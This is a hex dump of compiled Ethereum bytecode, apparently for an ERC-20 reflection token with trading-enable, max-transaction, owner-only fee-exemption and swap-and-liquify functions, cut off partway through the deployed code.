063efcc52de1461074c578063f6540ec714610761575f80fd5b806395d89b4114610639578063a457c2d71461064d578063a9059cbb1461066c578063ab4fd4241461068b578063bbcea6bf146106a0578063c9567bf9146106b5575f80fd5b8063715018a61161010f578063715018a6146105b6578063751039fc146105ca57806388790a68146105de578063893d20e8146105f35780638da5cb5b146106075780639063da6714610624575f80fd5b806358fa63ca1461052f578063640384091461054e5780636612e66f146105635780636bc87c3a1461058257806370a0823114610597575f80fd5b8063313ce567116101e157806345e8c85c116101a657806345e8c85c146104655780634a74bb021461047a57806350a8e0161461049a5780635342acb4146104ba578063571ac8b0146104f1578063583e056814610510575f80fd5b8063313ce567146103d2578063384f6b51146103fd57806339509351146104125780633b124fe714610431578063452ed4f114610446575f80fd5b806313114a9d1161023257806313114a9d1461033857806315639c1b1461035657806318160ddd1461036b578063200a692d1461037f57806323b872dd146103945780632d838119146103b3575f80fd5b806303fd2a45146102785780630614117a146102b457806306fdde03146102ca5780630758d924146102eb578063095ea7b314610309575f80fd5b3661027457005b5f80fd5b348015610283575f80fd5b50600354610297906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b3480156102bf575f80fd5b506102c8610776565b005b3480156102d5575f80fd5b506102de6107e2565b6040516102ab91906121d2565b3480156102f6575f80fd5b505f54610297906001600160a01b031681565b348015610314575f80fd5b50610328610323366004612232565b610872565b60405190151581526020016102ab565b348015610343575f80fd5b506010545b6040519081526020016102ab565b348015610361575f80fd5b5061034860185481565b348015610376575f80fd5b50600e54610348565b34801561038a575f80fd5b5061034860205481565b34801561039f575f80fd5b506103286103ae36600461225c565b610888565b3480156103be575f80fd5b506103486103cd36600461229a565b6108d9565b3480156103dd575f80fd5b50601354600160a01b900460ff1660405160ff90911681526020016102ab565b348015610408575f80fd5b5061034860275481565b34801561041d575f80fd5b5061032861042c366004612232565b61095b565b34801561043c575f80fd5b50610348601a5481565b348015610451575f80fd5b50600154610297906001600160a01b031681565b348015610470575f80fd5b5061034860215481565b348015610485575f80fd5b5060135461032890600160c81b900460ff1681565b3480156104a5575f80fd5b5060135461032890600160b01b900460ff1681565b3480156104c5575f80fd5b506103286104d43660046122b1565b6001600160a01b03165f908152602e602052604090205460ff1690565b3480156104fc575f80fd5b5061032861050b3660046122b1565b610991565b34801561051b575f80fd5b50600254610297906001600160a01b031681565b34801561053a575f80fd5b50600454610297906001600160a01b031681565b348015610559575f80fd5b5061034860165481565b34801561056e575f80fd5b506102c861057d3660046122cc565b61099d565b34801561058d575f80fd5b5061034860195481565b3480156105a2575f80fd5b506103486105b13660046122b1565b6109f1565b3480156105c1575f80fd5b506102c8610a4d565b3480156105d5575f80fd5b506102c8610acb565b3480156105e9575f80fd5b50610348601f5481565b3480156105fe575f80fd5b50610297610b0d565b348015610612575f80fd5b506013546001600160a01b0316610297565b34801561062f575f80fd5b5061034860285481565b348015610644575f80fd5b506102de610b25565b348015610658575f80fd5b50610328610667366004612232565b610b34565b348015610677575f80fd5b50610328610686366004612232565b610b6a565b348015610696575f80fd5b5061034860235481565b3480156106ab575f80fd5b50610348601e5481565b3480156106c0575f80fd5b506102c8610b76565b3480156106d4575f80fd5b50610348601b5481565b3480156106e9575f80fd5b50610348601c5481565b3480156106fe575f80fd5b5061034861070d366004612307565b6001600160a01b039182165f908152602d6020908152604080832093909416825291909152205490565b348015610742575f80fd5b5061034860225481565b348015610757575f80fd5b50610348601d5481565b34801561076c575f80fd5b5061034860175481565b6013546001600160a01b031633146107a95760405162461bcd60e51b81526004016107a090612333565b60405180910390fd5b6013546040516001600160a01b03909116904780156108fc02915f818181858888f193505050501580156107df573d5f803e3d5ffd5b50565b6060600a80546107f190612368565b80601f016020809104026020016040519081016040528092919081815260200182805461081d90612368565b80156108685780601f1061083f57610100808354040283529160200191610868565b820191905f5260205f20905b81548152906001019060200180831161084b57829003601f168201915b5050505050905090565b5f61087e338484610d5c565b5060015b92915050565b5f610894848484610e7f565b506001600160a01b0384165f908152602d60209081526040808320338085529252909120546108cf9186916108ca9086906123b4565b610d5c565b5060019392505050565b5f600f5482111561093f5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016107a0565b5f6109486112eb565b905061095481846123c7565b9392505050565b335f818152602d602090815260408083206001600160a01b0387168452909152812054909161087e9185906108ca9086906123e6565b5f610882825f19610872565b6013546001600160a01b031633146109c75760405162461bcd60e51b81526004016107a090612333565b6001600160a01b03919091165f908152602e60205260409020805460ff1916911515919091179055565b6001600160a01b0381165f908152602f602052604081205460ff1615610a2c57506001600160a01b03165f908152602b602052604090205490565b6001600160a01b0382165f908152602a6020526040902054610882906108d9565b6013546001600160a01b03163314610a775760405162461bcd60e51b81526004016107a090612333565b601354610a8d906001600160a01b03165f61099d565b601380546001600160a01b03191690556040515f9081907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3565b6013546001600160a01b03163314610af55760405162461bcd60e51b81526004016107a090612333565b600e5460148190556015556009546016819055601755565b5f610b206013546001600160a01b031690565b905090565b6060600b80546107f190612368565b335f818152602d602090815260408083206001600160a01b0387168452909152812054909161087e9185906108ca9086906123b4565b5f6108cf338484610e7f565b6013546001600160a01b03163314610ba05760405162461bcd60e51b81526004016107a090612333565b601354600160a81b900460ff1615610bfa5760405162461bcd60e51b815260206004820152601860248201527f54726164696e6720616c726561647920656e61626c656421000000000000000060448201526064016107a0565b305f908152602a602052604090205415610c3657305f908152602a6020526040902054610c26906108d9565b305f908152602b60205260409020555b6001546001600160a01b03165f908152602a602052604090205415610c93576001546001600160a01b03165f908152602a6020526040902054610c78906108d9565b6001546001600160a01b03165f908152602b60205260409020555b305f818152602f6020526040808220805460ff19908116600190811790925581546001600160a01b039081168552928420805490911682179055600c80548083018255938190527fdf6966c971051c3d54ec59162606531493a51404a002842f56009d7e5cf4a8c793840180546001600160a01b0319908116909617905581548154928301909155920180549093169116179055600e54601481905560155560095460168190556017556013805464010000000160a81b64ff000000ff60a81b19909116179055565b6001600160a01b038316610dbe5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016107a0565b6001600160a01b038216610e1f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016107a0565b6001600160a01b038381165f818152602d602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f6001600160a01b038416610ee45760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016107a0565b6001600160a01b038316610f465760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016107a0565b5f8211610fa75760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016107a0565b610fb18484611469565b156111d057601354600160a81b900460ff1661100f5760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c656421000000000000000060448201526064016107a0565b60085460ff16156110ba576001600160a01b0384165f908152602c602052604090205460ff161561107c576001600160a01b0383165f9081526031602052604090205443900361105d575f80fd5b6001600160a01b0383165f9081526031602052604090204390556110ba565b6001600160a01b0384165f9081526031602052604090205443900361109f575f80fd5b6001600160a01b0384165f9081526031602052604090204390555b60145482111561111d5760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b60648201526084016107a0565b6002546001600160a01b0384811691161480159061115357506001600160a01b0383165f908152602c602052604090205460ff16155b156111d05760155482611165856109f1565b61116f91906123e6565b11156111d05760405162461bcd60e51b815260206004820152602a60248201527f5472616e7366657220616d6f756e74206578636565647320746865206d61785760448201526930b63632ba29b4bd329760b11b60648201526084016107a0565b6001600160a01b0384165f908152602e602052604090205460019060ff168061121057506001600160a01b0384165f908152602e602052604090205460ff165b1561121857505f5b6001600160a01b0384165f908152602c602052604090205460ff16156112d657601354600160b81b900460ff1615801561125b5750601354600160c81b900460ff165b801561127f57506001600160a01b0385165f908152602e602052604090205460ff16155b80156112a357506001600160a01b0384165f908152602e602052604090205460ff16155b156112d6575f6112b2306109f1565b905060115481106112d45760125481106112cb57506012545b6112d48161153c565b505b6112e285858584611867565b95945050505050565b600f54600e545f9190825b600c548110156114305782602a5f600c8481548110611317576113176123f9565b5f9182526020808320909101546001600160a01b03168352820192909252604001902054118061137f575081602b5f600c8481548110611359576113596123f9565b5f9182526020808320909101546001600160a01b03168352820192909252604001902054115b1561139c57600e54600f5461139491906123c7565b935050505090565b602a5f600c83815481106113b2576113b26123f9565b5f9182526020808320909101546001600160a01b031683528201929092526040019020546113e090846123b4565b9250602b5f600c83815481106113f8576113f86123f9565b5f9182526020808320909101546001600160a01b0316835282019290925260400190205461142690836123b4565b91506001016112f6565b50600e54600f5461144191906123c7565b82101561145f57600e54600f5461145891906123c7565b9250505090565b61145881836123c7565b5f61147c6013546001600160a01b031690565b6001600160a01b0316836001600160a01b0316141580156114ab57506013546001600160a01b03838116911614155b80156114cf57506001600160a01b0382165f9081526030602052604090205460ff16155b80156114f357506001600160a01b0383165f9081526030602052604090205460ff16155b801561150d57506003546001600160a01b03838116911614155b801561152157506001600160a01b03821615155b801561095457506001600160a01b0383163014159392505050565b6013805460ff60b81b1916600160b81b17905560285460275461155f91906123e6565b15611857575f600260285460275461157791906123e6565b602754611584908561240d565b61158e91906123c7565b61159891906123c7565b90505f6115a582846123b4565b6040805160028082526060820183529293505f92909160208301908036833701905050905030815f815181106115dd576115dd6123f9565b60200260200101906001600160a01b031690816001600160a01b0316815250505f8054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561164b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061166f9190612424565b81600181518110611682576116826123f9565b6001600160a01b0392831660209182029290920101525f805460405163791ac94760e01b815292169163791ac947916116c69186919086903090429060040161243f565b5f604051808303815f87803b1580156116dd575f80fd5b505af11580156116ef573d5f803e3d5ffd5b505050505f600260285460275461170691906123e6565b602754611713904761240d565b61171d91906123c7565b61172791906123c7565b90508315611807575f805460035460405163f305d71960e01b8152306004820152602481018890526044810184905260648101939093526001600160a01b0390811660848401524260a4840152169063f305d71990839060c40160606040518083038185885af115801561179d573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906117c291906124b0565b505060408051868152602081018490529081018690527f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb561915060600160405180910390a15b5f61181285876123b4565b11156118525760055460405147916001600160a01b03169082156108fc029083905f818181858888f1935050505015801561184f573d5f803e3d5ffd5b50505b505050505b506013805460ff60b81b19169055565b6013545f90600160b01b900460ff166118fe576118848585611be8565b601354600160b01b900460ff161580156118a357506118a38585611469565b156118fe5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c79206f776e65722063616e207472616e736665722061742074686973206044820152643a34b6b29760d91b60648201526084016107a0565b5f61190b86868686611cf3565b905083611917876109f1565b10611bdc5760808101516001600160a01b0387165f908152602a602052604090205461194391906123b4565b6001600160a01b038088165f908152602a60205260408082209390935560608401519188168152919091205461197991906123e6565b6001600160a01b038087165f908152602a60209081526040808320949094559189168152602f909152205460ff1680156119cb57506001600160a01b0385165f908152602f602052604090205460ff16155b15611a10576001600160a01b0386165f908152602b60205260409020546119f39085906123b4565b6001600160a01b0387165f908152602b6020526040902055611b47565b6001600160a01b0386165f908152602f602052604090205460ff16158015611a4f57506001600160a01b0385165f908152602f602052604090205460ff165b15611a955780516001600160a01b0386165f908152602b6020526040902054611a7891906123e6565b6001600160a01b0386165f908152602b6020526040902055611b47565b6001600160a01b0386165f908152602f602052604090205460ff168015611ad357506001600160a01b0385165f908152602f602052604090205460ff165b15611b47576001600160a01b0386165f908152602b6020526040902054611afb9085906123b4565b6001600160a01b038088165f908152602b602052604080822093909355835191881681529190912054611b2e91906123e6565b6001600160a01b0386165f908152602b60205260409020555b604081015115611b5f57611b5f868260400151611ed3565b5f8160a001511180611b7457505f8160200151115b15611b8b57611b8b8160a001518260200151611fca565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef835f0151604051611bd391815260200190565b60405180910390a35b50600195945050505050565b601354600160b01b900460ff1615611c4e5760405162461bcd60e51b815260206004820152602360248201527f4c697175696469747920616c726561647920616464656420616e64206d61726b60448201526232b21760e91b60648201526084016107a0565b611c588282611469565b158015611c7257506001546001600160a01b038281169116145b15611cef576001600160a01b0382165f908152603060209081526040918290208054600160ff199091168117909155601380544260075563ff0000ff60b01b1916630100000160b01b17905591519182527f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc159910160405180910390a15b5050565b611d266040518060c001604052805f81526020015f81526020015f81526020015f81526020015f81526020015f81525090565b611d596040518060c001604052805f81526020015f81526020015f81526020015f81526020015f81526020015f81525090565b5f611d648686611ff0565b9050611d70818661240d565b60808301528315611e7e576001600160a01b0386165f908152602c602052604090205460ff1615611db257601e54601855601f54601955602054601a55611dfc565b6001600160a01b0387165f908152602c602052604090205460ff1615611de957601b54601855601c54601955601d54601a55611dfc565b602154601855602254601955602354601a555b602954601854611e0c908761240d565b611e1691906123c7565b6020830152602954601a54601954611e2e91906123e6565b611e38908761240d565b611e4291906123c7565b604083018190526020830151611e5891906123e6565b611e6290866123b4565b82526020820151611e7490829061240d565b60a0830152611e96565b5f602083018190526040830181905285835260a08301525b808260400151611ea6919061240d565b8260a00151611eb591906123e6565b8260800151611ec491906123b4565b60608301525095945050505050565b5f611edc6112eb565b6001549091505f906001600160a01b0390811690851603611efd575f611f01565b600d545b90505f82611f0f83866123b4565b611f19919061240d565b305f908152602a6020526040902054909150611f369082906123e6565b305f908152602a6020908152604080832093909355602f9052205460ff1615611f8357305f908152602b6020526040902054611f739085906123e6565b305f908152602b60205260409020555b60405184815230906001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050505050565b81600f54611fd891906123b4565b600f55601054611fe99082906123e6565b6010555050565b5f805f611ffd858561200c565b90925090506112e281836123c7565b600f54600e545f918291825b600c5481101561214c5782602a5f600c8481548110612039576120396123f9565b5f9182526020808320909101546001600160a01b0316835282019290925260400190205411806120a1575081602b5f600c848154811061207b5761207b6123f9565b5f9182526020808320909101546001600160a01b03168352820192909252604001902054115b156120b857600f54600e54945094505050506121cb565b602a5f600c83815481106120ce576120ce6123f9565b5f9182526020808320909101546001600160a01b031683528201929092526040019020546120fc90846123b4565b9250602b5f600c8381548110612114576121146123f9565b5f9182526020808320909101546001600160a01b0316835282019290925260400190205461214290836123b4565b9150600101612018565b50601154851015801561217657506001600160a01b0386165f908152602e602052604090205460ff165b1561219d57600154600e54612196916001600160a01b0316908890610d5c565b600e54600d555b600e54600f546121ad91906123c7565b8210156121c557600f54600e549350935050506121cb565b90925090505b9250929050565b5f602080835283518060208501525f5b818110156121fe578581018301518582016040015282016121e2565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146107df575f80fd5b5f8060408385031215612243575f80fd5b823561224e8161221e565b946020939093013593505050565b5f805f6060848603121561226e575f80fd5b83356122798161221e565b925060208401356122898161221e565b929592945050506040919091013590565b5f602082840312156122aa575f80fd5b5035919050565b5f602082840312156122c1575f80fd5b81356109548161221e565b5f80604083850312156122dd575f80fd5b82356122e88161221e565b9150602083013580151581146122fc575f80fd5b809150509250929050565b5f8060408385031215612318575f80fd5b82356123238161221e565b915060208301356122fc8161221e565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600181811c9082168061237c57607f821691505b60208210810361239a57634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b81810381811115610882576108826123a0565b5f826123e157634e487b7160e01b5f52601260045260245ffd5b500490565b80820180821115610882576108826123a0565b634e487b7160e01b5f52603260045260245ffd5b8082028115828204841417610882576108826123a0565b5f60208284031215612434575f80fd5b81516109548161221e565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b8181101561248f5784516001600160a01b03168352938301939183019160010161246a565b50506001600160a01b03969096166060850152505050608001529392505050565b5f805f606084860312156124c2575f80fd5b835192506020840151915060408401519050925092509256fea2646970667358221220b913049e199c49e00a5432381ef13200f32e26db785777b3508327b8d564ac0164736f6c63430008160033

Deployed Bytecode

0x60806040526004361061026d575f3560e01c806358fa63ca1161014a57806395d89b41116100be578063d038b07e11610078578063d038b07e146106c9578063dc44b6a0146106de578063dd62ed3e146106f3578063ea08d30b14610737578063efcc52de1461074c578063f6540ec714610761575f80fd5b806395d89b4114610639578063a457c2d71461064d578063a9059cbb1461066c578063ab4fd4241461068b578063bbcea6bf146106a0578063c9567bf9146106b5575f80fd5b8063715018a61161010f578063715018a6146105b6578063751039fc146105ca57806388790a68146105de578063893d20e8146105f35780638da5cb5b146106075780639063da6714610624575f80fd5b806358fa63ca1461052f578063640384091461054e5780636612e66f146105635780636bc87c3a1461058257806370a0823114610597575f80fd5b8063313ce567116101e157806345e8c85c116101a657806345e8c85c146104655780634a74bb021461047a57806350a8e0161461049a5780635342acb4146104ba578063571ac8b0146104f1578063583e056814610510575f80fd5b8063313ce567146103d2578063384f6b51146103fd57806339509351146104125780633b124fe714610431578063452ed4f114610446575f80fd5b806313114a9d1161023257806313114a9d1461033857806315639c1b1461035657806318160ddd1461036b578063200a692d1461037f57806323b872dd146103945780632d838119146103b3575f80fd5b806303fd2a45146102785780630614117a146102b457806306fdde03146102ca5780630758d924146102eb578063095ea7b314610309575f80fd5b3661027457005b5f80fd5b348015610283575f80fd5b50600354610297906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b3480156102bf575f80fd5b506102c8610776565b005b3480156102d5575f80fd5b506102de6107e2565b6040516102ab91906121d2565b3480156102f6575f80fd5b505f54610297906001600160a01b031681565b348015610314575f80fd5b50610328610323366004612232565b610872565b60405190151581526020016102ab565b348015610343575f80fd5b506010545b6040519081526020016102ab565b348015610361575f80fd5b5061034860185481565b348015610376575f80fd5b50600e54610348565b34801561038a575f80fd5b5061034860205481565b34801561039f575f80fd5b506103286103ae36600461225c565b610888565b3480156103be575f80fd5b506103486103cd36600461229a565b6108d9565b3480156103dd575f80fd5b50601354600160a01b900460ff1660405160ff90911681526020016102ab565b348015610408575f80fd5b5061034860275481565b34801561041d575f80fd5b5061032861042c366004612232565b61095b565b34801561043c575f80fd5b50610348601a5481565b348015610451575f80fd5b50600154610297906001600160a01b031681565b348015610470575f80fd5b5061034860215481565b348015610485575f80fd5b5060135461032890600160c81b900460ff1681565b3480156104a5575f80fd5b5060135461032890600160b01b900460ff1681565b3480156104c5575f80fd5b506103286104d43660046122b1565b6001600160a01b03165f908152602e602052604090205460ff1690565b3480156104fc575f80fd5b5061032861050b3660046122b1565b610991565b34801561051b575f80fd5b50600254610297906001600160a01b031681565b34801561053a575f80fd5b50600454610297906001600160a01b031681565b348015610559575f80fd5b5061034860165481565b34801561056e575f80fd5b506102c861057d3660046122cc565b61099d565b34801561058d575f80fd5b5061034860195481565b3480156105a2575f80fd5b506103486105b13660046122b1565b6109f1565b3480156105c1575f80fd5b506102c8610a4d565b3480156105d5575f80fd5b506102c8610acb565b3480156105e9575f80fd5b50610348601f5481565b3480156105fe575f80fd5b50610297610b0d565b348015610612575f80fd5b506013546001600160a01b0316610297565b34801561062f575f80fd5b5061034860285481565b348015610644575f80fd5b506102de610b25565b348015610658575f80fd5b50610328610667366004612232565b610b34565b348015610677575f80fd5b50610328610686366004612232565b610b6a565b348015610696575f80fd5b5061034860235481565b3480156106ab575f80fd5b50610348601e5481565b3480156106c0575f80fd5b506102c8610b76565b3480156106d4575f80fd5b50610348601b5481565b3480156106e9575f80fd5b50610348601c5481565b3480156106fe575f80fd5b5061034861070d366004612307565b6001600160a01b039182165f908152602d6020908152604080832093909416825291909152205490565b348015610742575f80fd5b5061034860225481565b348015610757575f80fd5b50610348601d5481565b34801561076c575f80fd5b5061034860175481565b6013546001600160a01b031633146107a95760405162461bcd60e51b81526004016107a090612333565b60405180910390fd5b6013546040516001600160a01b03909116904780156108fc02915f818181858888f193505050501580156107df573d5f803e3d5ffd5b50565b6060600a80546107f190612368565b80601f016020809104026020016040519081016040528092919081815260200182805461081d90612368565b80156108685780601f1061083f57610100808354040283529160200191610868565b820191905f5260205f20905b81548152906001019060200180831161084b57829003601f168201915b5050505050905090565b5f61087e338484610d5c565b5060015b92915050565b5f610894848484610e7f565b506001600160a01b0384165f908152602d60209081526040808320338085529252909120546108cf9186916108ca9086906123b4565b610d5c565b5060019392505050565b5f600f5482111561093f5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016107a0565b5f6109486112eb565b905061095481846123c7565b9392505050565b335f818152602d602090815260408083206001600160a01b0387168452909152812054909161087e9185906108ca9086906123e6565b5f610882825f19610872565b6013546001600160a01b031633146109c75760405162461bcd60e51b81526004016107a090612333565b6001600160a01b03919091165f908152602e60205260409020805460ff1916911515919091179055565b6001600160a01b0381165f908152602f602052604081205460ff1615610a2c57506001600160a01b03165f908152602b602052604090205490565b6001600160a01b0382165f908152602a6020526040902054610882906108d9565b6013546001600160a01b03163314610a775760405162461bcd60e51b81526004016107a090612333565b601354610a8d906001600160a01b03165f61099d565b601380546001600160a01b03191690556040515f9081907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3565b6013546001600160a01b03163314610af55760405162461bcd60e51b81526004016107a090612333565b600e5460148190556015556009546016819055601755565b5f610b206013546001600160a01b031690565b905090565b6060600b80546107f190612368565b335f818152602d602090815260408083206001600160a01b0387168452909152812054909161087e9185906108ca9086906123b4565b5f6108cf338484610e7f565b6013546001600160a01b03163314610ba05760405162461bcd60e51b81526004016107a090612333565b601354600160a81b900460ff1615610bfa5760405162461bcd60e51b815260206004820152601860248201527f54726164696e6720616c726561647920656e61626c656421000000000000000060448201526064016107a0565b305f908152602a602052604090205415610c3657305f908152602a6020526040902054610c26906108d9565b305f908152602b60205260409020555b6001546001600160a01b03165f908152602a602052604090205415610c93576001546001600160a01b03165f908152602a6020526040902054610c78906108d9565b6001546001600160a01b03165f908152602b60205260409020555b305f818152602f6020526040808220805460ff19908116600190811790925581546001600160a01b039081168552928420805490911682179055600c80548083018255938190527fdf6966c971051c3d54ec59162606531493a51404a002842f56009d7e5cf4a8c793840180546001600160a01b0319908116909617905581548154928301909155920180549093169116179055600e54601481905560155560095460168190556017556013805464010000000160a81b64ff000000ff60a81b19909116179055565b6001600160a01b038316610dbe5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016107a0565b6001600160a01b038216610e1f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016107a0565b6001600160a01b038381165f818152602d602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f6001600160a01b038416610ee45760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016107a0565b6001600160a01b038316610f465760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016107a0565b5f8211610fa75760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016107a0565b610fb18484611469565b156111d057601354600160a81b900460ff1661100f5760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c656421000000000000000060448201526064016107a0565b60085460ff16156110ba576001600160a01b0384165f908152602c602052604090205460ff161561107c576001600160a01b0383165f9081526031602052604090205443900361105d575f80fd5b6001600160a01b0383165f9081526031602052604090204390556110ba565b6001600160a01b0384165f9081526031602052604090205443900361109f575f80fd5b6001600160a01b0384165f9081526031602052604090204390555b60145482111561111d5760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b60648201526084016107a0565b6002546001600160a01b0384811691161480159061115357506001600160a01b0383165f908152602c602052604090205460ff16155b156111d05760155482611165856109f1565b61116f91906123e6565b11156111d05760405162461bcd60e51b815260206004820152602a60248201527f5472616e7366657220616d6f756e74206578636565647320746865206d61785760448201526930b63632ba29b4bd329760b11b60648201526084016107a0565b6001600160a01b0384165f908152602e602052604090205460019060ff168061121057506001600160a01b0384165f908152602e602052604090205460ff165b1561121857505f5b6001600160a01b0384165f908152602c602052604090205460ff16156112d657601354600160b81b900460ff1615801561125b5750601354600160c81b900460ff165b801561127f57506001600160a01b0385165f908152602e602052604090205460ff16155b80156112a357506001600160a01b0384165f908152602e602052604090205460ff16155b156112d6575f6112b2306109f1565b905060115481106112d45760125481106112cb57506012545b6112d48161153c565b505b6112e285858584611867565b95945050505050565b600f54600e545f9190825b600c548110156114305782602a5f600c8481548110611317576113176123f9565b5f9182526020808320909101546001600160a01b03168352820192909252604001902054118061137f575081602b5f600c8481548110611359576113596123f9565b5f9182526020808320909101546001600160a01b03168352820192909252604001902054115b1561139c57600e54600f5461139491906123c7565b935050505090565b602a5f600c83815481106113b2576113b26123f9565b5f9182526020808320909101546001600160a01b031683528201929092526040019020546113e090846123b4565b9250602b5f600c83815481106113f8576113f86123f9565b5f9182526020808320909101546001600160a01b0316835282019290925260400190205461142690836123b4565b91506001016112f6565b50600e54600f5461144191906123c7565b82101561145f57600e54600f5461145891906123c7565b9250505090565b61145881836123c7565b5f61147c6013546001600160a01b031690565b6001600160a01b0316836001600160a01b0316141580156114ab57506013546001600160a01b03838116911614155b80156114cf57506001600160a01b0382165f9081526030602052604090205460ff16155b80156114f357506001600160a01b0383165f9081526030602052604090205460ff16155b801561150d57506003546001600160a01b03838116911614155b801561152157506001600160a01b03821615155b801561095457506001600160a01b0383163014159392505050565b6013805460ff60b81b1916600160b81b17905560285460275461155f91906123e6565b15611857575f600260285460275461157791906123e6565b602754611584908561240d565b61158e91906123c7565b61159891906123c7565b90505f6115a582846123b4565b6040805160028082526060820183529293505f92909160208301908036833701905050905030815f815181106115dd576115dd6123f9565b60200260200101906001600160a01b031690816001600160a01b0316815250505f8054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561164b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061166f9190612424565b81600181518110611682576116826123f9565b6001600160a01b0392831660209182029290920101525f805460405163791ac94760e01b815292169163791ac947916116c69186919086903090429060040161243f565b5f604051808303815f87803b1580156116dd575f80fd5b505af11580156116ef573d5f803e3d5ffd5b505050505f600260285460275461170691906123e6565b602754611713904761240d565b61171d91906123c7565b61172791906123c7565b90508315611807575f805460035460405163f305d71960e01b8152306004820152602481018890526044810184905260648101939093526001600160a01b0390811660848401524260a4840152169063f305d71990839060c40160606040518083038185885af115801561179d573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906117c291906124b0565b505060408051868152602081018490529081018690527f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb561915060600160405180910390a15b5f61181285876123b4565b11156118525760055460405147916001600160a01b03169082156108fc029083905f818181858888f1935050505015801561184f573d5f803e3d5ffd5b50505b505050505b506013805460ff60b81b19169055565b6013545f90600160b01b900460ff166118fe576118848585611be8565b601354600160b01b900460ff161580156118a357506118a38585611469565b156118fe5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c79206f776e65722063616e207472616e736665722061742074686973206044820152643a34b6b29760d91b60648201526084016107a0565b5f61190b86868686611cf3565b905083611917876109f1565b10611bdc5760808101516001600160a01b0387165f908152602a602052604090205461194391906123b4565b6001600160a01b038088165f908152602a60205260408082209390935560608401519188168152919091205461197991906123e6565b6001600160a01b038087165f908152602a60209081526040808320949094559189168152602f909152205460ff1680156119cb57506001600160a01b0385165f908152602f602052604090205460ff16155b15611a10576001600160a01b0386165f908152602b60205260409020546119f39085906123b4565b6001600160a01b0387165f908152602b6020526040902055611b47565b6001600160a01b0386165f908152602f602052604090205460ff16158015611a4f57506001600160a01b0385165f908152602f602052604090205460ff165b15611a955780516001600160a01b0386165f908152602b6020526040902054611a7891906123e6565b6001600160a01b0386165f908152602b6020526040902055611b47565b6001600160a01b0386165f908152602f602052604090205460ff168015611ad357506001600160a01b0385165f908152602f602052604090205460ff165b15611b47576001600160a01b0386165f908152602b6020526040902054611afb9085906123b4565b6001600160a01b038088165f908152602b602052604080822093909355835191881681529190912054611b2e91906123e6565b6001600160a01b0386165f908152602b60205260409020555b604081015115611b5f57611b5f868260400151611ed3565b5f8160a001511180611b7457505f8160200151115b15611b8b57611b8b8160a001518260200151611fca565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef835f0151604051611bd391815260200190565b60405180910390a35b50600195945050505050565b601354600160b01b900460ff1615611c4e5760405162461bcd60e51b815260206004820152602360248201527f4c697175696469747920616c726561647920616464656420616e64206d61726b60448201526232b21760e91b60648201526084016107a0565b611c588282611469565b158015611c7257506001546001600160a01b